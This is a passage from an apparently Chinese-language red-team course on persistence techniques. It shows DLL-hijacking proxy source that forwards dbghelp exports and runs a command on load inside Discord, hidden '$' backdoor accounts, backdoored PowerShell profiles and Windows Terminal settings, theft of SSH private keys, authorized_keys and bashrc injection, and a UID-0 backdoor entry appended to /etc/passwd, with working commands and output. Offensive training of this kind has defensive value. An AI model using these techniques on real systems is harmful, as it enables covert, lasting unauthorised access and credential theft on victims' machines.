#pragma comment(linker,"/export:SymEnumSymbolsForAddrW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsForAddrW,@1195")
#pragma comment(linker,"/export:SymEnumSymbolsW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumSymbolsW,@1196")
#pragma comment(linker,"/export:SymEnumTypes=C:\\Windows\\SysWOW64\\dbghelp.SymEnumTypes,@1197")
#pragma comment(linker,"/export:SymEnumTypesByName=C:\\Windows\\SysWOW64\\dbghelp.SymEnumTypesByName,@1198")
#pragma comment(linker,"/export:SymEnumTypesByNameW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumTypesByNameW,@1199")
#pragma comment(linker,"/export:SymEnumTypesW=C:\\Windows\\SysWOW64\\dbghelp.SymEnumTypesW,@1200")
#pragma comment(linker,"/export:SymFindDebugInfoFile=C:\\Windows\\SysWOW64\\dbghelp.SymFindDebugInfoFile,@1208")
#pragma comment(linker,"/export:SymFindDebugInfoFileW=C:\\Windows\\SysWOW64\\dbghelp.SymFindDebugInfoFileW,@1209")
#pragma comment(linker,"/export:SymFindExecutableImage=C:\\Windows\\SysWOW64\\dbghelp.SymFindExecutableImage,@1210")
#pragma comment(linker,"/export:SymFindExecutableImageW=C:\\Windows\\SysWOW64\\dbghelp.SymFindExecutableImageW,@1211")
#pragma comment(linker,"/export:SymFindFileInPath=C:\\Windows\\SysWOW64\\dbghelp.SymFindFileInPath,@1212")
#pragma comment(linker,"/export:SymFindFileInPathW=C:\\Windows\\SysWOW64\\dbghelp.SymFindFileInPathW,@1213")
#pragma comment(linker,"/export:SymFreeDiaString=C:\\Windows\\SysWOW64\\dbghelp.SymFreeDiaString,@1121")
#pragma comment(linker,"/export:SymFromAddr=C:\\Windows\\SysWOW64\\dbghelp.SymFromAddr,@1214")
#pragma comment(linker,"/export:SymFromAddrW=C:\\Windows\\SysWOW64\\dbghelp.SymFromAddrW,@1215")
#pragma comment(linker,"/export:SymFromIndex=C:\\Windows\\SysWOW64\\dbghelp.SymFromIndex,@1216")
#pragma comment(linker,"/export:SymFromIndexW=C:\\Windows\\SysWOW64\\dbghelp.SymFromIndexW,@1217")
#pragma comment(linker,"/export:SymFromInlineContext=C:\\Windows\\SysWOW64\\dbghelp.SymFromInlineContext,@1218")
#pragma comment(linker,"/export:SymFromInlineContextW=C:\\Windows\\SysWOW64\\dbghelp.SymFromInlineContextW,@1219")
#pragma comment(linker,"/export:SymFromName=C:\\Windows\\SysWOW64\\dbghelp.SymFromName,@1220")
#pragma comment(linker,"/export:SymFromNameW=C:\\Windows\\SysWOW64\\dbghelp.SymFromNameW,@1221")
#pragma comment(linker,"/export:SymFromToken=C:\\Windows\\SysWOW64\\dbghelp.SymFromToken,@1222")
#pragma comment(linker,"/export:SymFromTokenW=C:\\Windows\\SysWOW64\\dbghelp.SymFromTokenW,@1223")
#pragma comment(linker,"/export:SymFunctionTableAccess=C:\\Windows\\SysWOW64\\dbghelp.SymFunctionTableAccess,@1226")
#pragma comment(linker,"/export:SymFunctionTableAccess64=C:\\Windows\\SysWOW64\\dbghelp.SymFunctionTableAccess64,@1224")
#pragma comment(linker,"/export:SymFunctionTableAccess64AccessRoutines=C:\\Windows\\SysWOW64\\dbghelp.SymFunctionTableAccess64AccessRoutines,@1225")
#pragma comment(linker,"/export:SymGetDiaSession=C:\\Windows\\SysWOW64\\dbghelp.SymGetDiaSession,@1122")
#pragma comment(linker,"/export:SymGetExtendedOption=C:\\Windows\\SysWOW64\\dbghelp.SymGetExtendedOption,@1227")
#pragma comment(linker,"/export:SymGetFileLineOffsets64=C:\\Windows\\SysWOW64\\dbghelp.SymGetFileLineOffsets64,@1228")
#pragma comment(linker,"/export:SymGetHomeDirectory=C:\\Windows\\SysWOW64\\dbghelp.SymGetHomeDirectory,@1229")
#pragma comment(linker,"/export:SymGetHomeDirectoryW=C:\\Windows\\SysWOW64\\dbghelp.SymGetHomeDirectoryW,@1230")
#pragma comment(linker,"/export:SymGetLineFromAddr=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromAddr,@1232")
#pragma comment(linker,"/export:SymGetLineFromAddr64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromAddr64,@1231")
#pragma comment(linker,"/export:SymGetLineFromAddrW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromAddrW64,@1233")
#pragma comment(linker,"/export:SymGetLineFromInlineContext=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromInlineContext,@1234")
#pragma comment(linker,"/export:SymGetLineFromInlineContextW=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromInlineContextW,@1235")
#pragma comment(linker,"/export:SymGetLineFromName=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromName,@1237")
#pragma comment(linker,"/export:SymGetLineFromName64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromName64,@1236")
#pragma comment(linker,"/export:SymGetLineFromNameW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineFromNameW64,@1238")
#pragma comment(linker,"/export:SymGetLineNext=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineNext,@1240")
#pragma comment(linker,"/export:SymGetLineNext64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineNext64,@1239")
#pragma comment(linker,"/export:SymGetLineNextW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLineNextW64,@1241")
#pragma comment(linker,"/export:SymGetLinePrev=C:\\Windows\\SysWOW64\\dbghelp.SymGetLinePrev,@1243")
#pragma comment(linker,"/export:SymGetLinePrev64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLinePrev64,@1242")
#pragma comment(linker,"/export:SymGetLinePrevW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetLinePrevW64,@1244")
#pragma comment(linker,"/export:SymGetModuleBase=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleBase,@1246")
#pragma comment(linker,"/export:SymGetModuleBase64=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleBase64,@1245")
#pragma comment(linker,"/export:SymGetModuleInfo=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleInfo,@1248")
#pragma comment(linker,"/export:SymGetModuleInfo64=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleInfo64,@1247")
#pragma comment(linker,"/export:SymGetModuleInfoW=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleInfoW,@1250")
#pragma comment(linker,"/export:SymGetModuleInfoW64=C:\\Windows\\SysWOW64\\dbghelp.SymGetModuleInfoW64,@1249")
#pragma comment(linker,"/export:SymGetOmapBlockBase=C:\\Windows\\SysWOW64\\dbghelp.SymGetOmapBlockBase,@1123")
#pragma comment(linker,"/export:SymGetOmaps=C:\\Windows\\SysWOW64\\dbghelp.SymGetOmaps,@1251")
#pragma comment(linker,"/export:SymGetOptions=C:\\Windows\\SysWOW64\\dbghelp.SymGetOptions,@1252")
#pragma comment(linker,"/export:SymGetScope=C:\\Windows\\SysWOW64\\dbghelp.SymGetScope,@1253")
#pragma comment(linker,"/export:SymGetScopeW=C:\\Windows\\SysWOW64\\dbghelp.SymGetScopeW,@1254")
#pragma comment(linker,"/export:SymGetSearchPath=C:\\Windows\\SysWOW64\\dbghelp.SymGetSearchPath,@1255")
#pragma comment(linker,"/export:SymGetSearchPathW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSearchPathW,@1256")
#pragma comment(linker,"/export:SymGetSourceFile=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFile,@1257")
#pragma comment(linker,"/export:SymGetSourceFileChecksum=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileChecksum,@1258")
#pragma comment(linker,"/export:SymGetSourceFileChecksumW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileChecksumW,@1259")
#pragma comment(linker,"/export:SymGetSourceFileFromToken=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileFromToken,@1260")
#pragma comment(linker,"/export:SymGetSourceFileFromTokenW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileFromTokenW,@1261")
#pragma comment(linker,"/export:SymGetSourceFileToken=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileToken,@1262")
#pragma comment(linker,"/export:SymGetSourceFileTokenW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileTokenW,@1263")
#pragma comment(linker,"/export:SymGetSourceFileW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceFileW,@1264")
#pragma comment(linker,"/export:SymGetSourceVarFromToken=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceVarFromToken,@1265")
#pragma comment(linker,"/export:SymGetSourceVarFromTokenW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSourceVarFromTokenW,@1266")
#pragma comment(linker,"/export:SymGetSymbolFile=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymbolFile,@1275")
#pragma comment(linker,"/export:SymGetSymbolFileW=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymbolFileW,@1276")
#pragma comment(linker,"/export:SymGetSymFromAddr=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymFromAddr,@1268")
#pragma comment(linker,"/export:SymGetSymFromAddr64=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymFromAddr64,@1267")
#pragma comment(linker,"/export:SymGetSymFromName=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymFromName,@1270")
#pragma comment(linker,"/export:SymGetSymFromName64=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymFromName64,@1269")
#pragma comment(linker,"/export:SymGetSymNext=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymNext,@1272")
#pragma comment(linker,"/export:SymGetSymNext64=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymNext64,@1271")
#pragma comment(linker,"/export:SymGetSymPrev=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymPrev,@1274")
#pragma comment(linker,"/export:SymGetSymPrev64=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymPrev64,@1273")
#pragma comment(linker,"/export:SymGetTypeFromName=C:\\Windows\\SysWOW64\\dbghelp.SymGetTypeFromName,@1277")
#pragma comment(linker,"/export:SymGetTypeFromNameW=C:\\Windows\\SysWOW64\\dbghelp.SymGetTypeFromNameW,@1278")
#pragma comment(linker,"/export:SymGetTypeInfo=C:\\Windows\\SysWOW64\\dbghelp.SymGetTypeInfo,@1279")
#pragma comment(linker,"/export:SymGetTypeInfoEx=C:\\Windows\\SysWOW64\\dbghelp.SymGetTypeInfoEx,@1280")
#pragma comment(linker,"/export:SymGetUnwindInfo=C:\\Windows\\SysWOW64\\dbghelp.SymGetUnwindInfo,@1281")
#pragma comment(linker,"/export:SymInitialize=C:\\Windows\\SysWOW64\\dbghelp.SymInitialize,@1282")
#pragma comment(linker,"/export:SymInitializeW=C:\\Windows\\SysWOW64\\dbghelp.SymInitializeW,@1283")
#pragma comment(linker,"/export:SymLoadModule=C:\\Windows\\SysWOW64\\dbghelp.SymLoadModule,@1285")
#pragma comment(linker,"/export:SymLoadModule64=C:\\Windows\\SysWOW64\\dbghelp.SymLoadModule64,@1284")
#pragma comment(linker,"/export:SymLoadModuleEx=C:\\Windows\\SysWOW64\\dbghelp.SymLoadModuleEx,@1286")
#pragma comment(linker,"/export:SymLoadModuleExW=C:\\Windows\\SysWOW64\\dbghelp.SymLoadModuleExW,@1287")
#pragma comment(linker,"/export:SymMatchFileName=C:\\Windows\\SysWOW64\\dbghelp.SymMatchFileName,@1288")
#pragma comment(linker,"/export:SymMatchFileNameW=C:\\Windows\\SysWOW64\\dbghelp.SymMatchFileNameW,@1289")
#pragma comment(linker,"/export:SymMatchString=C:\\Windows\\SysWOW64\\dbghelp.SymMatchString,@1290")
#pragma comment(linker,"/export:SymMatchStringA=C:\\Windows\\SysWOW64\\dbghelp.SymMatchStringA,@1291")
#pragma comment(linker,"/export:SymMatchStringW=C:\\Windows\\SysWOW64\\dbghelp.SymMatchStringW,@1292")
#pragma comment(linker,"/export:SymNext=C:\\Windows\\SysWOW64\\dbghelp.SymNext,@1293")
#pragma comment(linker,"/export:SymNextW=C:\\Windows\\SysWOW64\\dbghelp.SymNextW,@1294")
#pragma comment(linker,"/export:SymPrev=C:\\Windows\\SysWOW64\\dbghelp.SymPrev,@1295")
#pragma comment(linker,"/export:SymPrevW=C:\\Windows\\SysWOW64\\dbghelp.SymPrevW,@1296")
#pragma comment(linker,"/export:SymQueryInlineTrace=C:\\Windows\\SysWOW64\\dbghelp.SymQueryInlineTrace,@1297")
#pragma comment(linker,"/export:SymRefreshModuleList=C:\\Windows\\SysWOW64\\dbghelp.SymRefreshModuleList,@1298")
#pragma comment(linker,"/export:SymRegisterCallback=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterCallback,@1300")
#pragma comment(linker,"/export:SymRegisterCallback64=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterCallback64,@1299")
#pragma comment(linker,"/export:SymRegisterCallbackW64=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterCallbackW64,@1301")
#pragma comment(linker,"/export:SymRegisterFunctionEntryCallback=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterFunctionEntryCallback,@1303")
#pragma comment(linker,"/export:SymRegisterFunctionEntryCallback64=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterFunctionEntryCallback64,@1302")
#pragma comment(linker,"/export:SymSearch=C:\\Windows\\SysWOW64\\dbghelp.SymSearch,@1304")
#pragma comment(linker,"/export:SymSearchW=C:\\Windows\\SysWOW64\\dbghelp.SymSearchW,@1305")
#pragma comment(linker,"/export:SymSetContext=C:\\Windows\\SysWOW64\\dbghelp.SymSetContext,@1306")
#pragma comment(linker,"/export:SymSetDiaSession=C:\\Windows\\SysWOW64\\dbghelp.SymSetDiaSession,@1124")
#pragma comment(linker,"/export:SymSetExtendedOption=C:\\Windows\\SysWOW64\\dbghelp.SymSetExtendedOption,@1307")
#pragma comment(linker,"/export:SymSetHomeDirectory=C:\\Windows\\SysWOW64\\dbghelp.SymSetHomeDirectory,@1308")
#pragma comment(linker,"/export:SymSetHomeDirectoryW=C:\\Windows\\SysWOW64\\dbghelp.SymSetHomeDirectoryW,@1309")
#pragma comment(linker,"/export:SymSetOptions=C:\\Windows\\SysWOW64\\dbghelp.SymSetOptions,@1310")
#pragma comment(linker,"/export:SymSetParentWindow=C:\\Windows\\SysWOW64\\dbghelp.SymSetParentWindow,@1311")
#pragma comment(linker,"/export:SymSetScopeFromAddr=C:\\Windows\\SysWOW64\\dbghelp.SymSetScopeFromAddr,@1312")
#pragma comment(linker,"/export:SymSetScopeFromIndex=C:\\Windows\\SysWOW64\\dbghelp.SymSetScopeFromIndex,@1313")
#pragma comment(linker,"/export:SymSetScopeFromInlineContext=C:\\Windows\\SysWOW64\\dbghelp.SymSetScopeFromInlineContext,@1314")
#pragma comment(linker,"/export:SymSetSearchPath=C:\\Windows\\SysWOW64\\dbghelp.SymSetSearchPath,@1315")
#pragma comment(linker,"/export:SymSetSearchPathW=C:\\Windows\\SysWOW64\\dbghelp.SymSetSearchPathW,@1316")
#pragma comment(linker,"/export:symsrv=C:\\Windows\\SysWOW64\\dbghelp.symsrv,@1358")
#pragma comment(linker,"/export:SymSrvDeltaName=C:\\Windows\\SysWOW64\\dbghelp.SymSrvDeltaName,@1317")
#pragma comment(linker,"/export:SymSrvDeltaNameW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvDeltaNameW,@1318")
#pragma comment(linker,"/export:SymSrvGetFileIndexes=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexes,@1323")
#pragma comment(linker,"/export:SymSrvGetFileIndexesW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexesW,@1324")
#pragma comment(linker,"/export:SymSrvGetFileIndexInfo=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexInfo,@1319")
#pragma comment(linker,"/export:SymSrvGetFileIndexInfoW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexInfoW,@1320")
#pragma comment(linker,"/export:SymSrvGetFileIndexString=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexString,@1321")
#pragma comment(linker,"/export:SymSrvGetFileIndexStringW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexStringW,@1322")
#pragma comment(linker,"/export:SymSrvGetSupplement=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetSupplement,@1325")
#pragma comment(linker,"/export:SymSrvGetSupplementW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetSupplementW,@1326")
#pragma comment(linker,"/export:SymSrvIsStore=C:\\Windows\\SysWOW64\\dbghelp.SymSrvIsStore,@1327")
#pragma comment(linker,"/export:SymSrvIsStoreW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvIsStoreW,@1328")
#pragma comment(linker,"/export:SymSrvStoreFile=C:\\Windows\\SysWOW64\\dbghelp.SymSrvStoreFile,@1329")
#pragma comment(linker,"/export:SymSrvStoreFileW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvStoreFileW,@1330")
#pragma comment(linker,"/export:SymSrvStoreSupplement=C:\\Windows\\SysWOW64\\dbghelp.SymSrvStoreSupplement,@1331")
#pragma comment(linker,"/export:SymSrvStoreSupplementW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvStoreSupplementW,@1332")
#pragma comment(linker,"/export:SymUnDName=C:\\Windows\\SysWOW64\\dbghelp.SymUnDName,@1334")
#pragma comment(linker,"/export:SymUnDName64=C:\\Windows\\SysWOW64\\dbghelp.SymUnDName64,@1333")
#pragma comment(linker,"/export:SymUnloadModule=C:\\Windows\\SysWOW64\\dbghelp.SymUnloadModule,@1336")
#pragma comment(linker,"/export:SymUnloadModule64=C:\\Windows\\SysWOW64\\dbghelp.SymUnloadModule64,@1335")
#pragma comment(linker,"/export:UnDecorateSymbolName=C:\\Windows\\SysWOW64\\dbghelp.UnDecorateSymbolName,@1337")
#pragma comment(linker,"/export:UnDecorateSymbolNameW=C:\\Windows\\SysWOW64\\dbghelp.UnDecorateSymbolNameW,@1338")
#pragma comment(linker,"/export:UnmapDebugInformation=C:\\Windows\\SysWOW64\\dbghelp.UnmapDebugInformation,@1339")
#pragma comment(linker,"/export:vc7fpo=C:\\Windows\\SysWOW64\\dbghelp.vc7fpo,@1359")
#pragma comment(linker,"/export:WinDbgExtensionDllInit=C:\\Windows\\SysWOW64\\dbghelp.WinDbgExtensionDllInit,@1340")



/*
extern "C" __declspec(dllexport) void run()
{
    MessageBoxA(NULL, "Execution happened", "Bypass", MB_OK);
}
*/


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("cmd /c ping.exe 192.168.0.44");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

不同操作系统版本得到的导出内容可能略有不同，请自行复现。

6：将编译好的 x86 版本 DLL 命名为 dbghelp.dll 丢入到 Discord 文件夹中，运行 Discord，系统命令执行**立即**被触发了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/WnaKDcAgHHw6B9Am-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/WnaKDcAgHHw6B9Am-image.png)

# 基于 Windows 的其他持久化技术

#### **主机账户**

在 Windows 中，主机账户 (中国网友喜爱称为影子账户) 是一种特殊的账户，特点是以 **$** 结尾。主机账户也可以享有用户账户的各种权限，甚至提升特权。而主机账户的好处在于使用 net user 命令不会显示出我们后门的主机账户。创建主机账户很简单，正如添加用户账户一样，我们甚至可以将其添加到高权限组中，或赋予 ACL。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/YO1FjAN30oN7rcWn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/YO1FjAN30oN7rcWn-image.png)

我们可以看到，在添加后，net.exe 确实不能显示出该主机帐号。但如果我们直接检视该账户，是能看到各种详细信息的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ZUWLQH5jfzWkIAKK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ZUWLQH5jfzWkIAKK-image.png)

尽管不会被 net user 命令枚举出来，蓝队依旧有较多方法让被后门主机账户得以显现，例如检查 SAM 数据库、检查注册表、使用上一章节提到的诸如 WinPEAS、SeatBelt 等本地侦查工具等

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/i2WIc1rgR1WQFV0g-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/i2WIc1rgR1WQFV0g-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/n5FkU6FXJYBN84ho-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/n5FkU6FXJYBN84ho-image.png)

并且，如果选择创建主机账户以实现持久化，那么目标主机需要对外开放可远程登陆的服务，例如 RDP，WinRM，SSH 等。

####   


#### **PowerShell 侧写**

每当用户运行 PowerShell.exe 的时候，PowerShell 侧写文件会被加载。我们可以通过执行命令 $Profile | select \* 来查询所有的 PowerShell 侧写，共有 4 个可能的位置：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Fj76mEc1ZwUgDWbG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Fj76mEc1ZwUgDWbG-image.png)

```powershell
C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
C:\Users\<用户名>\Documents\WindowsPowerShell\profile.ps1
C:\Users\<用户名>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
```

但是，显示出来的位置并不一定有现存的 profile.ps1 文件，我们可以自己新建一个。考虑到用户 serveradm 对 Web02 具有本地管理员权限，所以我们可以来到 AllUsersAllHosts 所对应的侧写目录：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/SLIFDG19d1MDyg0U-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/SLIFDG19d1MDyg0U-image.png)

为了验证概念，我们在侧写中运行 calc.exe，然后移动到该目录下。运行一个新的 PowerShell 进程，会发现计算器弹出来了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Mu40MxwvALP2rS2X-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Mu40MxwvALP2rS2X-image.png)

####   


#### **终端侧写**

如果当前主机安装了 Windows Terminal，在版本较新的个人主机上会相对常见，我们可以修改终端的侧写文件从而实现持久化，原理类似 PowerShell 侧写。Windows Terminal 是 Windows 10 以及更新版本中替代 Command Prompt 的，并集成了多种 Shell，包括 CMD，PowerShell，Azure Shell 等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/wCgUQhDfcMkW5WVE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/wCgUQhDfcMkW5WVE-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/TfuxbGePIlY5Jeyx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/TfuxbGePIlY5Jeyx-image.png)

我们定位到 **C:\\Users\\&lt;用户名&gt;\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal\_&lt;Package ID&gt;\\LocalState** 中，编辑 settings.json。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/AeoWSqW71isgQOy1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/AeoWSqW71isgQOy1-image.png)

我们注意一下 **defaultProfile**，即默认侧写的 GUID。下面，包含了各种 Shell 的配置，其中 PowerShell 作为目前默认的 Shell。我们可以插入恶意的程序作为后门，这样每次用户打开 Terminal，就会触发指向的应用程序。这里，我们还指定了以提升特权运行。

```json
            {
                "guid": "{与<defaultProfile> GUID 值相同}",
                "name": "Proof Of Concept",
                "commandline": "%SystemRoot%\\System32\\calc.exe",
                "elevate": true
             },
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/PLdi0qiBnVbNyioU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/PLdi0qiBnVbNyioU-image.png)

# Linux 持久化

在之前，我们主要讨论了 Windows 平台的持久化技术，但是在实战中我们也会遇到大量的 Linux 边界主机，我们同样要学会持久化技术。持久化的表现形式可以有本地后门，即可以瞬间实现提权，例如给特定文件设置 SUID。还可以是远程控制的形式，即受害主机会以规律或不规律的间隔向 C2 服务器连接。作为从外部突破的红队操作员以及渗透测试人员角度，我们需要的是后者，即能直接提供 C2 会话。

### **SSH**

#### **id\_rsa**

在用户的 .ssh 文件夹中，id\_rsa 是用户的私钥，默认权限是 600，即只有用户自己以及 root 权限可读。如果当前用户已经有了 SSH 密钥对，那么我们可以窃取 id\_rsa，在外部通过 SSH 远程登陆。前提是目标对公网有开放 SSH 服务。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Tq8XKVRY765nRp56-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Tq8XKVRY765nRp56-image.png)

如果目标还没有生成密钥对，我们可以使用命令 **ssh-keygen** 生成。生成密钥的时候，可以选择设置 passphrase。因此，我们窃取得到的私钥也可能被用户设置了 passphrase，那么就是多了一层保护。对于 passphrase 的攻击我们会在后面章节提到。

```shell
web01@web01:~/.ssh$ ls -al
total 8
drwx------  2 web01 web01 4096 Jan 22 14:32 .
drwxr-xr-x 17 web01 web01 4096 Mar 29 14:08 ..
web01@web01:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/web01/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/web01/.ssh/id_rsa
Your public key has been saved in /home/web01/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:Rc4NmsNu+od8GzddSY9RrgZAmCOTUliEYvvesY8+kuU web01@web01
The key's randomart image is:
+---[RSA 3072]----+
|     *+. +=     .|
|  o + +.+* +   o |
| . o . o=.+ o ...|
|  .    . o   ..+o|
|   .    S     +.o|
|    . oo     o . |
|   . =.+ .. o .  |
|    + Eoo oo .   |
|     ooooo..     |
+----[SHA256]-----+
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/xIs7o9Nh6Pk7jkVK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/xIs7o9Nh6Pk7jkVK-image.png)

#### **authorized\_keys**

authorized\_keys 文件也在 .ssh 文件夹中，默认不存在，我们可以手动创建。该文件中存放了一个列表的 SSH 公钥，对于存在于该文件中的公钥，持有者可以凭借公钥认证直接访问。对于攻击者来说，可以把自己的 SSH 公钥复制进该列表，从而实现持久化。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/95USO9XhOlc4auew-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/95USO9XhOlc4auew-image.png)

###   


### **配置文件**

#### **bashrc 与 bash\_profile**

在用户目录下，每当一个新的 shell 实例被打开，**bashrc** 就会被执行。而 **bash\_profile** 则是在用户首次登陆进系统的时候被执行。我们可以修改这两个文件以在用户登录的时候执行脚本以及设置环境变量。

```shell
dev01@dev01:~/.ssh$ echo 'touch /tmp/bashrc' >> ~/.bashrc 
dev01@dev01:~/.ssh$ ls -al /tmp/bashrc
ls: cannot access '/tmp/bashrc': No such file or directory
dev01@dev01:~/.ssh$ bash
dev01@dev01:~/.ssh$ ls -al /tmp/bashrc
-rw-rw-r-- 1 dev01 dev01 0 Mar 29 17:33 /tmp/bashrc
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/UWXntq62D6DDZFpv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/UWXntq62D6DDZFpv-image.png)

#### **passwd 与 shadow**

我们可以在 **/etc/passwd** 文件中写入一个后门 root 账户，密码我们可以借助 **openssl** 生成。下文案例中的哈希对应的明文密码为 **123123**。

```bash
root@web01:/home/web01# openssl passwd -1 -salt dler 123123
$1$dler$C5tRZCGTq22ONPl0HmcXZ0
root@web01:/home/web01# echo 'senzee:$1$dler$C5tRZCGTq22ONPl0HmcXZ0:0:0:root:/root:/bin/bash' >> /etc/passwd
root@web01:/home/web01# exit
exit
web01@web01:~$ su senzee
Password: 
root@web01:/home/web01# 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hkDoyVVFwwC9bBuf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hkDoyVVFwwC9bBuf-image.png)

但是如今 /etc/passwd 已经不再存储密码哈希了，如果我们添加一个后门用户，在 /etc/passwd 中会很显眼。而对于 shadow 来说，我们可以用类似的方法生成指定密码的哈希值，来替换一高权限用户的哈希值实现密码修改目的。很显然这么做并不划算。我们完全可以用系统命令添加用户或者修改用户密码。

#### **crontab**

**/etc/crontab** 控制着系统上的计划任务，我们可以决定一个计划任务的间隔时间、执行的操作等。

```shell
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
